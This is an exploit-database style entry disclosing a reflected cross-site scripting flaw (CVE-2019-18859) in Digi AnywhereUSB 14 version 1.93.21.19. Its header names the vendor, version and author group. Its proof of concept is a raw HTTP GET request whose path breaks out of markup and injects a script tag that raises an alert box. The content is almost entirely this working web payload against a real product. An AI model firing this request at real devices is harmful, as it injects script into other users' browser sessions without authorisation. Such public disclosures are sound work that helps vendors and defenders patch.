Digi AnywhereUSB 14 Cross Site Scripting

`# Exploit Title: Digi AnywhereUSB 14 - Reflective Cross-Site Scripting  
# Date: 2019-11-10  
# Exploit Author: Raspina Net Pars Group  
# Vendor Homepage: https://www.digi.com/products/networking/usb-connectivity/usb-over-ip/awusb  
# Version: 1.93.21.19  
# CVE : CVE-2019-18859  
  
# PoC  
  
GET //--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> HTTP/1.1  
Host: Target  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
  
# Author Website: HTTPS://RNPG.info  
`